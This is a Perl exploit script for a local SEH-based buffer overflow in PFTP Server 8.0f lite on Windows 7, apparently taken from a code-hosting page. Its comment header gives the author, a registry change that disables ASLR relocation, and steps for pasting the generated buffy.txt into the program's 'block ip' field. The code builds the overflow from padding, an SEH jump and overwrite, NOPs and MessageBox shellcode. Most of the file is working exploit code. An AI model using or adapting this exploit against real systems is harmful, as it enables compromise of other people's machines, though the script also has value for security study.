58 lines
No EOL
5 KiB
Raku
Executable file
58 lines
No EOL
5 KiB
Raku
Executable file
#*************************************************************************************************************
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#
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# Exploit Title: PFTP Server 8.0f (lite) SEH bypass technique tested on Win7x64
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# Date: 8-29-2015
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# Software Link: http://www.heise.de/download/the-personal-ftp-server-78679a5e8458e9faa7c5564617bdd4c4-1440883445-267104.html
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# Exploit Author: Robbie Corley
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# Contact: c0d3rc0rl3y@gmail.com
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# Website:
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# CVE:
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# Category: Local Exploit
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#
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# Description:
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# There is a textfield within the program that asks for IPs to be blocked against the FTP server that is vulnerable to an SEH based buffer overflow.
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#
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# Side Notes: I haven't been able to implement a partial EIP overwrite for ASLR on this exploit, so I had to resort
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# to manually adding an exception to ASLR in the registry for this to work.
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# creds to Corelan & team: https://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/
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#
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# Edit HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ and add a new key called “MoveImages” (DWORD)
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# set the key to '0'.
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#
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# Instructions:
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# Generate the payload text file by running this payload creator as is. The payload is called: buffy.txt by default
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# Next, open the pftp.exe program.
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# Click 'options', 'advanced options', and 'block ip'. Click on the text field and paste
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# in your payload generated by this payload creator and click 'Add'. It will look like this:
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#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAë31Ò²0d‹‹R ‹R ‹B‹r ‹€~ 3uò‰Çx<‹Wx‹z Ç1í‹4¯ÆE>Fatauò~Exitué‹z$Çf‹,o‹z Ç‹|¯üÇhytehkenBh Bro‰áþI 1ÀQPÿ×
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#
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# that's it. You should then be greeted with a MessageBox.
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#**************************************************************************************************************
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my $junk = "A" x 272;
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#$nseh = "\xcc\xcc\xcc\xcc"; # breakpoint for testing
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$nseh = "\xeb\x10\x90\x90"; # jump to shellcode
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$seh = pack('V',0x03033303); # popad, call ebp from \Device\HarddiskVolume1\Windows\Fonts\StaticCache.dat, which is outside the module range and has SEH off
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#MessageBox Shellc0de
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#https://www.exploit-db.com/exploits/28996/
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my $shellcode =
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"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42".
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"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03".
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"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b".
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"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e".
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"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c".
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"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74".
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"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe".
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"\x49\x0b\x31\xc0\x51\x50\xff\xd7";
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$nops = "\x90" x 20;
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my $junk2 = "\x90" x 1000;
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open(myfile,'>buffy.txt');
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print myfile $junk.$nseh.$seh.$nops.$shellcode.$junk2;
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close (myfile); |